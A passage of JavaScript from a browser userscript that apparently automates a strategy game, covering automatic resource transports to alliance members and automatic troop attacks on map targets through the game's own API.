						MyAjax.battleReport(Data.dynamic.players.activity[t.report_num].id, Data.dynamic.players.activity[t.report_num].aid, function(rslt) {
							var t = Tabs.Alliance;
							t.checkActivityBusy = false;
							if (!rslt) return;
						});
					}
					showReportDelay();
				}

				function displayReport() {
					var t = Tabs.Alliance,
						m = '';
					m += '<center><div id=' + setUID('displayMsg_ReportContent') + ' style="height:555px; max-height:555px; width:98%; max-width:98%; overflow-y:auto;">' + Messages.displayBattleReport(Messages.activity[Data.dynamic.players.activity[t.report_num].id], Data.dynamic.players.activity[t.report_num].aname) + '</div></center>';
					document.getElementById(UID['tabAlliance_ReportDetail']).innerHTML = m;
				}
			},

			displayTotal: function() {
				var t = Tabs.Alliance;
				t.totalResources = 0;
				t.maxResources = 0;
				for (var r = 0; r < transportable_resource_types.length; r++)
					t.totalResources = toNum(t.totalResources) + toNum(Data.options.alliance.data.resources[transportable_resource_types[r]]);
				for (var i = 0; i < transport_unit_types.length; i++) {
					if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'Porter') var load = 200;
					else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'ArmoredTransport') var load = 5000;
					else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'PackDragon') var load = 6000;
					else var load = 0;
					var qty = Data.options.alliance.data.transports[Names.troops.byAbbr[transport_unit_types[i]][1]];
					try {
						var load = Seed.stats.unit[Names.troops.byAbbr[transport_unit_types[i]][1]].load;
					} catch (e) {
						actionLog('<B>' + translate('Troops load: ') + '</B>' + e.msg + ' ' + translate('Manifest not available, using defaults'));
					}
					t.maxResources = t.maxResources + (toNum(qty) * toNum(load));
				}
				var avail = numf(toNum(t.maxResources) - toNum(t.totalResources), ' ');
				document.getElementById(UID['tabAlliance_Total']).innerHTML = '<B>' + numf(toNum(t.totalResources), ' ') + '</B> / <B>' +
					numf(toNum(t.maxResources), ' ') + '</B> (<B>' + avail + '</B> disponible)';
			},
			autoTransportTick: function() {
				var t = Tabs.Alliance,
					targetMsg, retryDelay, transportUnits, resources, marchCount = 0;
				var cityId = Seed.cities[CAPITAL.id].id;
				var cityIdx = CAPITAL.id;
				clearTimeout(t.autoTimer);

				if (!Data.options.alliance.auto.enabled) return;
				var target = t.getTarget(Data.options.alliance.auto_id);
				if (is_null(target)) {
					dispFeedback(UID['tabAlliance_Feedback'], translate('No Recipient Defined'));
					t.setEnable(false);
					return;
				}

				var targetMsg = '<B>' + translate('Transport sent to') + '</B> : ' + target.msg;
				var feedback_element = UID['tabAlliance_Feedback'];

				var cur_march = getMinDelay();
				marchCount = cur_march.count;
				retryDelay = cur_march.delay;
				availableGeneral = getAvailableGeneral();
				var chk = checkMarch(targetMsg,
					feedback_element,
					marchCount,
					retryDelay,
					Marches.count.transport,
					Data.options.alliance.auto.max_marches,
					null, false);
				if (chk != 0) {
					t.autoTimer = setTimeout(t.autoTransportTick, retryDelay * 1000);
					return;
				}

				transportUnits = checkTroops(CAPITAL.id, Data.options.alliance.auto.transports);
				if (transportUnits !== null) {
					raiseMessage(targetMsg, feedback_element, transportUnits, true, retryDelay);
					t.autoTimer = setTimeout(t.autoTransportTick, retryDelay * 1000);
					return;
				}
				/* check resources */
				var resources = cloneProps(Data.options.alliance.auto.resources);
				var totalRess = 0;
				for (var p in resources) {
					var stock = Math.round(toNum(Seed.cities[CAPITAL.id].resources[p]));
					if (resources[p] > 0) {
						if (resources[p] > stock) resources[p] = stock;
						totalRess += resources[p];
					}
				}
				if (Data.options.alliance.auto.max_load) resources = maximizeDistribution(resources, Data.options.alliance.auto.transports);
				if (totalRess <= 0) {
					raiseMessage(targetMsg, feedback_element, 8, false, retryDelay);
					t.autoTimer = setTimeout(t.autoTransportTick, retryDelay * 1000);
					return;
				}

				verboseLog(targetMsg + ' ' + translate('attempted'));
				new MyAjax.TransportMarch(cityId, target.x, target.y, Data.options.alliance.auto.transports, resources, 'transport', function(rslt) {
					var t = Tabs.Alliance,
						transDelay, retryDelay;
					if (rslt.ok && rslt.dat.result.success) {
						t.autoErrors = 0;
						transDelay = Math.floor(Math.random() * (Data.options.alliance.auto.delay_max - Data.options.alliance.auto.delay_min + 1) + Data.options.alliance.auto.delay_min);
						verboseLog(targetMsg + ' ' + translate('Successfully'));
						actionLog(targetMsg);
						dispFeedback(UID['tabAlliance_Feedback'], targetMsg);
						t.autoTimer = setTimeout(t.autoTransportTick, transDelay * 1000);
						if (Data.options.alliance.auto.recall) {
							var m = {
								cityId: cityId,
								marchId: rslt.dat.result.job.march_id,
								run_at: rslt.dat.result.job.run_at
							};
							Data.dynamic.recall_marches.push(m);
						}
						for (var x = 0; x < transportable_resource_types.length; x++) {
							var actualStock = numf(Math.round(toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[x]])));
							var UIDStk = UID['tabAlliance_AStk'] + '_' + x;
							if (document.getElementById(UIDStk)) document.getElementById(UIDStk).innerHTML = actualStock;
						}
						for (var y = 0; y < transport_unit_types.length; ++y) {
							var trpStk = numf(toNum(Seed.cities[CAPITAL.id].units[Names.troops.byAbbr[transport_unit_types[y]][1]]), ' ');
							var UIDTrpStk = UID['tabAlliance_ATStk'] + '_' + y;
							if (document.getElementById(UIDTrpStk)) document.getElementById(UIDTrpStk).innerHTML = '(&nbsp;' + trpStk + '&nbsp;)';
						}
					} else {
						t.autoErrors++
						retryDelay = 30 * (t.autoErrors * t.autoErrors);
						verboseLog(targetMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg + ' - ' + translate('Retry in') + ' ' + retryDelay + ' ' + translate('seconds'));
						actionLog(targetMsg + ' ' + translate('failed'));
						if (rslt.status === 429) {
							retryDelay = E429_DELAY;
							raiseMessage(targetMsg + ' ' + translate('failed') + ' - <b>API</b> ', feedback_element, 6, false, retryDelay);
						} else if (rslt.status === 509) {
							retryDelay = 600;
							raiseMessage(targetMsg + ' ' + translate('failed') + ' - ', feedback_element, 6, false, retryDelay);
						} else
							dispFeedback(UID['tabAlliance_Feedback'], targetMsg + ' ' + translate('failed'));
						t.autoTimer = setTimeout(t.autoTransportTick, retryDelay * 1000);
					}
				});

				function maximizeDistribution(res, units) {
					var max_load = 0,
						current_load = 0,
						total_load = 0,
						new_stock = 0,
						avail_load = 0,
						stock_avail = 0;
					/* get max load possible according to unit types and quantity */
					for (var i = 0; i < transport_unit_types.length; i++) {
						if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'Porter') var load = 200;
						else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'ArmoredTransport') var load = 5000;
						else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'PackDragon') var load = 6000;
						else var load = 0;
						var qty = units[Names.troops.byAbbr[transport_unit_types[i]][1]];
						try {
							var load = Seed.stats.unit[Names.troops.byAbbr[transport_unit_types[i]][1]].load;
						} catch (e) {}
						max_load = max_load + (toNum(qty) * toNum(load));
					}
					/* get current load for each resource, total load, available load left, number of resources with stock */
					var avail = numf(toNum(t.maxResources) - toNum(t.totalResources), ' ');
					for (var p = 0; p < transportable_resource_types.length; p++) {
						current_load = toNum(res[transportable_resource_types[p]]);
						total_load = toNum(total_load) + current_load;
						new_stock = Math.round(toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[p]])) - current_load;
						if (new_stock > 0) stock_avail++;
					}
					avail_load = toNum(max_load) - toNum(total_load);
					/* Return current resource distribution if no load available for selected transports or if all resource stocks are empty */
					if (avail_load <= 0 || stock_avail == 0) return (res);

					/* Calculate new resource distribution if space left on transport and available stock */
					var min_quantity = Math.round(avail_load / stock_avail); /* get theorical minimum quantity to allocate */
					while (avail_load > 0 && stock_avail > 0 && min_quantity > 0) {
						/* get the minimum quantity to allocate according to stock levels */
						for (var r = 0; r < transportable_resource_types.length; r++) {
							current_load = toNum(res[transportable_resource_types[r]]);
							new_stock = Math.round(toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[r]])) - current_load;
							if (new_stock > 0 && new_stock < min_quantity) min_quantity = new_stock;
						}
						stock_avail = 0;
						/* Add minimum quantity to allocate to the resource to send if enough stock */
						for (var r = 0; r < transportable_resource_types.length; r++) {
							current_load = toNum(res[transportable_resource_types[r]]);
							new_stock = Math.round(toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[r]])) - current_load;
							if (new_stock > 0) {
								res[transportable_resource_types[r]] = current_load + min_quantity;
								avail_load = avail_load - min_quantity;
								new_stock = new_stock - min_quantity;
								if (new_stock > 0) stock_avail++;
							}
						}
						/* get new theorical minimum quantity to allocate */
						min_quantity = Math.round(avail_load / stock_avail); /* get theorical minimum quantity to allocate */
					}
					return (res);
				}
			},
			marchTick: function() {
				var t = Tabs.Alliance;
				var element_target;
				switch (t.contentType) {
					case 4:
						element_target = 'tabAlliance_AMarches';
						break;
					default:
						element_target = 'tabAlliance_TMarches';
						break;
				}
				clearTimeout(t.marchTimer);
				if (document.getElementById(UID[element_target]))
					Marches.updateTable(document.getElementById(UID[element_target]), 'transport');
				t.marchTimer = setTimeout(t.marchTick, 1000);
			},
			getTarget: function(targetId) {
				var found = false,
					d = {};
				for (var cid = 1; cid < Seed.cities.length && !found; cid++) {
					if (Seed.cities[cid] && targetId == Seed.cities[cid].id) {
						found = true;
						var city = Seed.cities[cid];
						return ({
							x: city.x,
							y: city.y,
							msg: translate(city.name) + ' ' + translate('at') + ' ' + city.x + ',' + city.y
						});
					}
				}
				if (!found) {
					for (var i = 0; i < Data.dynamic.players.memberships.length && !found; i++) {
						if (Data.dynamic.players.memberships[i].id == targetId) {
							found = true;
							var member = Data.dynamic.players.memberships[i];
							return ({
								x: member.x,
								y: member.y,
								msg: member.player + ', ' + member.city + ' ' + translate('at') + ' ' + member.x + ',' + member.y
							});
						}
					}
				}
			},
			getMemberList: function() {
				var t = Tabs.Alliance;
				var element_target, element_select, uid_select, type_id;
				switch (t.contentType) {
					case 4:
						element_target = 'tabAlliance_AutoPlayerList';
						element_select = 'tabAlliance_AutoPlayer';
						type_id = Data.options.alliance.auto_id;
						break;
					case 2:
						element_target = 'tabAlliance_ReinfPlayerList';
						element_select = 'tabAlliance_ReinfPlayer';
						type_id = Data.options.alliance.reinforce_id;
						break;
					default:
						element_target = 'tabAlliance_TransPlayerList';
						element_select = 'tabAlliance_TransPlayer';
						type_id = Data.options.alliance.transport_id;
						break;
				}
				uid_select = setUID(element_select);
				var m = '<select id=' + uid_select + '>';
				var selected = '';
				for (var cityIdx = 1; cityIdx < Seed.cities.length; cityIdx++) {
					if (Seed.cities[cityIdx]) {
						selected = '';
						if (type_id == Seed.cities[cityIdx].id) selected = ' selected';
						m += '<option value="' + Seed.cities[cityIdx].id + '" ' + selected + '>' + translate(Seed.cities[cityIdx].name) + '</option>';
					}
				}
				if (Seed.cities.length < 2 && (!Data.dynamic.players.memberships || Data.dynamic.players.memberships.length == 0))
					m += '<option value="">' + translate('To be refreshed') + '</option>';
				else {
					for (var i = 0; i < Data.dynamic.players.memberships.length; i++) {
						selected = '';
						if (Data.dynamic.players.memberships[i].id == type_id) selected = ' selected';
						m += '<option value="' + Data.dynamic.players.memberships[i].id + '" ' + selected + '>' + Data.dynamic.players.memberships[i].player + '</option>';
					}
				}
				m += '</select>';
				document.getElementById(UID[element_target]).innerHTML = m;
				document.getElementById(UID[element_select]).addEventListener('change', t.playerSelChanged, false);
				t.playerCityDesc();
				t.playerSelChanged();
			},
			onClickResign: function(notify) {
				var t = Tabs.Alliance;
				setButtonStyle(document.getElementById(UID['tabAlliance_Regin']), false, 'btn_off', 'btn_disabled');
				dialogConfirm(translate('leave-current'),
					function() {
						try {
							var dial = new ModalDialog(Tabs.Alliance.container, 300, 165, '', false, null);
							dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
							dial.getContentDiv().innerHTML = translate('Leaving the alliance') + '...';
							MyAjax.membership(Seed.player.alliance.id, Seed.player.alliance_membership.id, 'delete', callback, false);

							function callback(dat) {
								if (dat == null || !dat.ok) {
									if (dat.errmsg)
										dial.getContentDiv().innerHTML = dat.errmsg;
									else dial.getContentDiv().innerHTML = translate('Error while leaving the alliance');
									dial.allowClose(true);
									if (notify) notify(false);
									return;
								} else {
									dial.getContentDiv().innerHTML = translate('Refreshing player and cities data');
									Seed.fetchPlayer(function(rslt) {
										if (rslt.ok) {
											verboseLog(translate('Player data was Successfully requested from the server'));
											try {
												setTimeout(function() {
													dial.destroy()
												}, 1000);
											} catch (e) {}
											if (notify) notify(true);
											return;
										} else {
											try {
												dial.getContentDiv().innerHTML = translate('Error while retrieving player data ' + rslt.errmsg);
												dial.allowClose(true);
											} catch (e) {}
											if (notify) notify(false);
											return;
										}
									}, {
										noCities: true
									});
								}
								if (notify) notify(true);
								return;
							}
						} catch (e) {}
					},
					function() {
						setButtonStyle(document.getElementById(UID['tabAlliance_Regin']), true, 'btn_off', 'btn_disabled');
					}, true
				);
			},
			playerSelChanged: function(event) {
				var t = Tabs.Alliance;
				var element_target;
				switch (t.contentType) {
					case 4:
						element_target = 'tabAlliance_AutoPlayer';
						break;
					case 2:
						element_target = 'tabAlliance_ReinfPlayer';
						break;
					default:
						element_target = 'tabAlliance_TransPlayer';
						break;
				}
				var id = document.getElementById(UID[element_target]);
				var sel = nvl(id.value, 'none');
				id.value = sel;
				switch (t.contentType) {
					case 4:
						Data.options.alliance.auto_id = sel;
						break;
					case 2:
						Data.options.alliance.reinforce_id = sel;
						break;
					default:
						Data.options.alliance.transport_id = sel;
						break;
				}
				t.playerCityDesc();
			},
			playerCityDesc: function() {
				var t = Tabs.Alliance;
				var element_target, type_id;
				switch (t.contentType) {
					case 4:
						element_target = 'tabAlliance_AutoTarget';
						type_id = Data.options.alliance.auto_id;
						break;
					case 2:
						element_target = 'tabAlliance_ReinfTarget';
						type_id = Data.options.alliance.reinforce_id;
						break;
					default:
						element_target = 'tabAlliance_TransTarget';
						type_id = Data.options.alliance.transport_id;
						break;
				}
				var found = false;
				for (var cityIdx = 1; cityIdx < Seed.cities.length && !found; cityIdx++) {
					if (Seed.cities[cityIdx] && type_id == Seed.cities[cityIdx].id) {
						found = true;
						document.getElementById(UID[element_target]).innerHTML = '<B>' + translate(Seed.cities[cityIdx].name) + '</b>' +
							' &nbsp; (' + Seed.cities[cityIdx].x + ', ' + Seed.cities[cityIdx].y +
							') &nbsp; <B>' + translate('Distance') + ': </b>' +
							getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Seed.cities[cityIdx].x, Seed.cities[cityIdx].y);
					}
				}
				if (!found) {
					for (var i = 0; i < Data.dynamic.players.memberships.length && !found; i++) {
						if (Data.dynamic.players.memberships[i].id == type_id) {
							found = true;
							document.getElementById(UID[element_target]).innerHTML = translate('City') + ' &nbsp; <B>' + Data.dynamic.players.memberships[i].city + '</b>' +
								' &nbsp; (' + Data.dynamic.players.memberships[i].x + ', ' + Data.dynamic.players.memberships[i].y +
								') &nbsp; <B>' + translate('Distance') + ': </b>' + Data.dynamic.players.memberships[i].dist;
						}
					}
				}
			},
			setEnable: function(onOff) {
				var t = Tabs.Alliance;
				var but = document.getElementById(UID['tabAlliance_AOnOff']);
				Data.options.alliance.auto.enabled = onOff;
				if (but) {
					if (onOff) {
						but.value = translate('Enabled').toUpperCase();
						but.className = UID['btn_on'];
						if (!t.autoTimer) t.autoTransportTick();
					} else {
						if (t.autoTimer) clearTimeout(t.autoTimer);
						but.value = translate('Disabled').toUpperCase();
						but.className = UID['btn_off'];
					}
				}
			},
		}

		/******************************** Attacks Tab ********************************/
		Tabs.Attacks = {
			tabOrder: ATTACK_TAB_ORDER,
			tabLabel: 'Attacks',
			tabDisabled: !ATTACK_TAB_ENABLE,
			lastSubTab: 'tabAttackLevels',
			container: null,
			attackTimer: null,
			marchTimer: null,
			lastAttack: 0,
			attackErrors: 0,
			checkMapBusy: false,
			MAX_DISTANCE: 70,
			curRunStart: 0,
			contentType: 0,
			/* 0 = levels, 1 = config, 2 = targets, 3 = stats, 4 = mapTypes these should be enums but Javascript doesn't support that type */
			selectedMapName: 'AnthropusCamp',
			targetTickTimer: 0,
			requestTimer: 0,

			init: function(div) {
				var t = Tabs.Attacks;
				t.container = div;

				Data.setDefaultValues('attacks');

				div.innerHTML = '' + '<div id=' + setUID('tabAttack_Title') + ' class=' + UID['title'] + '>' + translate('Attack') + ' ' + translate(Data.options.attacks.choice) + ' </div>' + '<div class=' + UID['status_ticker'] + ' id=' + setUID('tabAttack_Status') + ' style="margin-bottom:5px !important">' + '	<center><input type=button value="OnOff" id=' + setUID('tabAttack_OnOff') + ' /></center>' + '	<div id=' + setUID('tabAttack_Report') + ' style="margin-top:5px;height:140px; max-height:140px; width:540px; max-width:540px; overflow:auto;">' + '		<table id=' + setUID('tabAttack_Marches') + ' class=' + UID['table'] + '></table>' + '	</div>' + '	<div id=' + setUID('tabAttack_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabAttackLevels') + '>' + translate('Levels') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAttackTarget') + '>' + translate('Targets') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAttackStats') + '>' + translate('Statistics') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAttackMaps') + '>' + translate('Map') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAttackConfig') + '>' + translate('Config') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabAttack_Content') + ' style="padding-top:0px; height:440px; overflow:auto"></div>';

				document.getElementById(UID['tabAttack_OnOff']).addEventListener('click', function() {
					t.setAttackEnable(!Data.options.attacks.enabled);
				}, false);
				document.getElementById(UID['tabAttackLevels']).addEventListener('click', t.tabAttackLevels, false);
				document.getElementById(UID['tabAttackConfig']).addEventListener('click', t.tabAttackConfig, false);
				document.getElementById(UID['tabAttackTarget']).addEventListener('click', t.tabAttackTarget, false);
				document.getElementById(UID['tabAttackStats']).addEventListener('click', t.tabAttackStats, false);
				document.getElementById(UID['tabAttackMaps']).addEventListener('click', t.tabAttackMaps, false);
				if (Data.stats.attacks == null)
					t.clearStats();
				t.contentType = toNum(Data.options.attacks.current_tab);
				setTimeout(Marches.check, 60000);
				t.tabAttackLevels();
				window.addEventListener('unload', t.onUnload, false);
				t.setAttackEnable(Data.options.attacks.enabled);
			},

			firstShow: true,
			show: function() {
				var t = Tabs.Attacks;
				t.marchTick();
				Data.options.attacks.current_tab = (t.contentType || Data.options.attacks.current_tab);
				if (t.contentType == 2)
					document.getElementById(UID['tabAttack_Content']).scrollTop = gAttScrollPos;
				switch (t.contentType) {
					case 0:
						t.tabAttackLevels();
						break;
					case 1:
						t.tabAttackConfig();
						break;
					case 2:
						t.tabAttackTarget();
						break;
					case 3:
						t.tabAttackStats();
						break;
					case 4:
						t.tabAttackMaps();
						break;
				}
			},
			hide: function() {
				var t = Tabs.Attacks;
				clearTimeout(t.marchTimer);
				clearTimeout(t.targetTickTimer);
			},
			onUnload: function() {
				logit('===============  Tabs.Attacks.onUnload');
				var t = Tabs.Attacks;
				if (Data.options.attacks.enabled)
					Data.stats.attacks.run_time += (serverTime() - t.curRunStart);
				Data.options.attacks.current_tab = t.contentType;
			},
			checkMapData: function() {
				var t = Tabs.Attacks;

				if (t.checkMapBusy) {
					return false;
				} else {
					var radius = Data.options.map.radius = 16;
					var terrains = Map.getTargets({
						radius: radius
					});
					if (terrains[Data.options.attacks.choice].length != 0 || Data.options.attacks.choice == 'Fog') return true;
				}
				return true;
			},

			gotBattleReport: function(rpt_a) {
				var t = Tabs.Attacks,
					has_loss = false;
				if (!rpt_a) return;
				var march_id = null;
				for (var id in Data.marches.attacks) {
					var march = Data.marches.attacks[id];
					if (march.general.id === rpt_a.report.attacker.general.id) {
						march_id = id;
						break;
					}
				}
				if (march_id && march_id != null) t.trackStats(march_id, rpt_a);
				var items = rpt_a.report.spoils.items;
				if (items.length !== 0) Seed.fetchPlayer({
					noCities: true
				});

				if (!Data.options.attacks.delete_reports && !Data.options.attacks.stop_on_loss) return;
				if (Data.options.attacks.stop_on_loss && rpt_a.report.attacker.name == Seed.player.name) {
					for (var p in rpt_a.report.attacker.units) {
						if (rpt_a.report.attacker.units[p][0] != rpt_a.report.attacker.units[p][1]) {
							has_loss = true;
							var ts = new Date(rpt_a.report_notification.created_at * 1000).myString();
							t.abort(translate('Troops lost') + '! (' + ts + ')');
							return;
						}
					}
				}
				if (Data.options.attacks.delete_reports && rpt_a.report.attacker.name == Seed.player.name && !has_loss)
					Messages.deleteMessage(rpt_a.report_notification.id);
			},

			setAttackEnable: function(onOff) {
				var t = Tabs.Attacks;
				clearTimeout(t.attackTimer);
				var but = document.getElementById(UID['tabAttack_OnOff']);
				Data.options.attacks.enabled = onOff;
				if (onOff) {
					Messages.addBattleReportListener(t.gotBattleReport);
					but.value = translate('Attacking').toUpperCase();
					but.className = UID['btn_on'];
					t.curRunStart = serverTime();
					t.autoCheckTargets();
				} else {
					Messages.removeReportListener('attacks', t.gotBattleReport);
					if (t.curRunStart != 0)
						Data.stats.attacks.run_time += (serverTime() - t.curRunStart);
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
					dispFeedback(UID['tabAttack_Feedback'], '');
				}
			},

			abort: function(msg) {
				var t = Tabs.Attacks;
				t.setAttackEnable(false);
				dispFeedback(UID['tabAttack_Feedback'], msg);
				actionLog(msg);
				/* Recall all remaining marches of that type to avoid other troop loss */
				for (var id in Data.marches.attacks) {
					if (Data.marches.attacks[id].status === 'marching')
						doRecallMarch(Data.marches.attacks[id].city_id, id);
				}

				function doRecallMarch(city_id, id) {
					var targMsg = 'Recall march ' + id;
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.marchRecall(city_id, id, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('succeeded'));
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
				}
			},

			marchTick: function() {
				var t = Tabs.Attacks;
				clearTimeout(t.marchTimer);
				Marches.updateTable(document.getElementById(UID['tabAttack_Marches']), 'attacks');
				t.marchTimer = setTimeout(t.marchTick, 1000);
			},

			autoCheckTargets: function() {
				var t = Tabs.Attacks;
				var now = serverTime();
				var cityIdx = CAPITAL.id;
				var targetMsg, retryDelay, availableGeneral, attackUnits, marchCount = 0,
					p;

				clearTimeout(t.attackTimer);
				targetMsg = '';

				if (!Data.options.attacks.enabled) return;
				if (!t.checkMapData()) return;

				var actionMsg = translate('Attack to ') + targetMsg;
				var feedback_element = UID['tabAttack_Feedback'];

				var cur_march = getMinDelay();
				marchCount = cur_march.count;
				retryDelay = cur_march.delay;
				availableGeneral = getAvailableGeneral();
				var chk = checkMarch(actionMsg,
					feedback_element,
					marchCount,
					retryDelay,
					Marches.count.attacks,
					Data.options.attacks.max_marches,
					availableGeneral, true);
				if (chk != 0) {
					t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
					return;
				}
				/* Get the next target, make sure we have sufficient troops */
				var nextTarget = t.getNextAttackTarget();
				if (nextTarget) {
					var greatDrag = null;
					if (Data.options.attacks.include_great_dragon[nextTarget.l]) {
						if ((greatDrag = getAvailableDragon(false, Data.options.attacks.except_great_dragon[nextTarget.l])) == null) {
							if (!Data.options.attacks.send_without_dragon) {
								raiseMessage(actionMsg, feedback_element, 5, false, retryDelay);
								t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
								return;
							}
						}
					}
					attackUnits = checkTroops(CAPITAL.id, Data.options.attacks.units[nextTarget.l]);
					if (attackUnits == null) {
						t.sendAttack(CAPITAL.id, nextTarget, availableGeneral, greatDrag, function(rslt) {
							var t = Tabs.Attacks,
								attackDelay, retryDelay;
							if (rslt) {
								var delay_min = toNum(Data.options.attacks.delay_min, nvl(MIN_DELAY_BETWEEN_WAVE, 10));
								var delay_max = toNum(Data.options.attacks.delay_max, toNum(delay_min * 1.5));
								attackDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
								t.attackTimer = setTimeout(t.autoCheckTargets, attackDelay * 1000);
							} else {
								retryDelay = 30 * (t.attackErrors * t.attackErrors);
								if (rslt.status === 429) {
									retry_delay = E429_DELAY;
									raiseMessage(actionMsg + ' ' + translate('failed') + ' - <b>API</b> ', feedback_element, 6, false, retryDelay);
								} else if (rslt.status === 509) {
									retry_delay = 600;
									raiseMessage(actionMsg + ' ' + translate('failed') + ' - ', feedback_element, 6, false, retryDelay);
								}
								t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
							}
						});
						return;
					} else {
						raiseMessage(actionMsg, feedback_element, attackUnits, true, retryDelay);
						t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
					}
				} else {
					raiseMessage(actionMsg, feedback_element, 7, false, retryDelay);
					t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
				}
			},

			sendAttack: function(cityIdx, target, general, great_dragon, notify) {
				var t = Tabs.Attacks;
				var now = serverTime();
				if (t.attackBusy) {
					dispFeedback(UID['tabAttack_Feedback'], translate('Error') + ': ' + translate('sendAttack is busy, no response from server?'));
					if (!t.requestTimer) t.requestTimer = setTimeout(function() {
						Tabs.Attacks.attackBusy = false;
					}, 10000);
					if (notify) notify(false);
					return;
				} else if (t.requestTimer) clearTimeout(t.requestTimer);
				var units = cloneProps(Data.options.attacks.units[target.l]);
				if (!is_null(great_dragon)) units[great_dragon] = 1;

				var targMsg = translate('Attack sent to') + ': ' + translate(Data.options.attacks.choice) + ' ' + translate('Level') + ' ' + target.l + ' ' + translate('at') + ' ' + target.x + '/' + target.y;

				verboseLog(targMsg + ' ' + translate('attempted'));
				t.attackBusy = true;
				t.lastAttack = now;

				new MyAjax.marchSend(Seed.cities[cityIdx].id, target.x, target.y, general.id, units, 'attacks', function(rslt) {
					t.attackBusy = false;
					if (rslt.ok && rslt.dat.result.success) {
						t.attackErrors = 0;

						verboseLog(targMsg + ' ' + translate('Successfully'));
						if (Data.options.attacks.log_attacks) actionLog(targMsg);
						dispFeedback(UID['tabAttack_Feedback'], targMsg);

						var xy = target.x + ',' + target.y;
						if (!Data.map.coords[xy]) Data.map.coords[xy] = {};
						Data.map.coords[xy].la = now;
						target.la = now;
						if (notify) notify(true);
					} else {
						t.attackErrors++;
						verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						actionLog(targMsg + ' ' + translate('failed'));
						dispFeedback(UID['tabAttack_Feedback'], targMsg + ' ' + translate('failed'));
						if (notify) notify(false);
					}
				});
			},

			/* return the nextTarget that is next to be attacked, if we are at the last object in the last, return the first object */
			getNextAttackTarget: function(map_type) {
				var t = Tabs.Attacks;
				var last_attack = 0;
				var next_target = null;
				var target = null;
				var attacks = Data.options.attacks;

				map_type = map_type || attacks.choice;

				var level_enable = cloneProps(attacks.level_enable);
				for (var i = 0; i < level_enable.length; i++) {
					if (level_enable[i] && checkTroops(CAPITAL.id, Data.options.attacks.units[i]) !== null)
						level_enable[i] = false;
				}
				/* Get the targets list fit within the config specifications */
				var targets_list = t.getActiveObjectList(map_type, level_enable);
				targets_list.sort(function(a, b) {
					return a.d - b.d;
				});

				/* Look through all the targets */
				for (var i = 0; i < targets_list.length; i++) {
					target = targets_list[i];
					var target_states = Data.map.coords[target.x + ',' + target.y];
					if (target_states && target_states.A) {
						/* Has the target never been attacked? */
						if (target_states.la === 0 || target_states.la === null) {
							next_target = target;
							break;
						} else if (last_attack === 0) {
							/* Yes, this target is next (so far) */
							last_attack = target_states.la;
							next_target = target;
						} else if (last_attack > target_states.la) { /* Was the previous target attacked before this target? */
							/* Yes, this target is next (so far) */
							last_attack = target_states.la;
							next_target = target;
							break;
						}
					}
				}
				/* No target reaches the specified requirements */
				if (next_target === null) return;
				/* Return the next target */
				return next_target;
			},

			/* return array of targets that satisfy config (max distance, level enables) */
			getActiveObjectList: function(map_type, level_enable) {
				var t = Tabs.Attacks;
				level_enable = (level_enable !== undefined) ? level_enable : Data.options.attacks.level_enable;
				map_type = (map_type !== undefined ? map_type : Data.options.attacks.choice);

				var radius = 0;
				for (var i = 0; i < Data.options.attacks.level_distance.length; i++) {
					if (Data.options.attacks.level_distance[i] > radius)
						radius = Data.options.attacks.level_distance[i];
				}
				var terrains = Map.getTargets({
					radius: radius
				});
				var targets = [];
				if (terrains[map_type]) {
					for (var i = 0; i < terrains[map_type].length; i++) {
						var target = (terrains[map_type])[i];
						if (target && level_enable[target.l] && (
							Data.options.attacks.level_distance[target.l] === 0 || Data.options.attacks.level_distance[target.l] >= target.d)) {
							targets.push(target);
						}
					}
				}
				return targets;
			},

			checkAttack: function(target, notify) {
				var t = Tabs.Attacks;
				var cityId = Seed.cities[CAPITAL.id].id;
				var cityIdx = CAPITAL.id;
				var availableGeneral, attackUnits;

				/* check units */
				var units = cloneProps(Data.options.attacks.units[target.l]);
				attackUnits = checkTroops(CAPITAL.id, units);
				if (attackUnits != null) {
					notify(getErrorText(attackUnits, 'fb'));
					return;
				}
				if ((availableGeneral = getAvailableGeneral()) == null) {
					notify(getErrorText(3, 'fb'));
					return;
				}
				var greatDrag = null;
								
				if (Data.options.attacks.include_great_dragon[target.l]) {
					if ((greatDrag = getAvailableDragon(false, Data.options.attacks.except_great_dragon[target.l])) == null) {
						if (!Data.options.attacks.send_without_dragon) {
							notify(getErrorText(5, 'fb'));
							return;
						}
					}
					if (greatDrag && greatDrag != null) units[greatDrag] = 1;
				}
				var targMsg = translate('Manual attack sent to') + ': ' + translate(Data.options.attacks.choice) + ' ' + translate('Level') + ' ' + target.l + ' ' + translate('at') + ' ' + target.x + '/' + target.y;

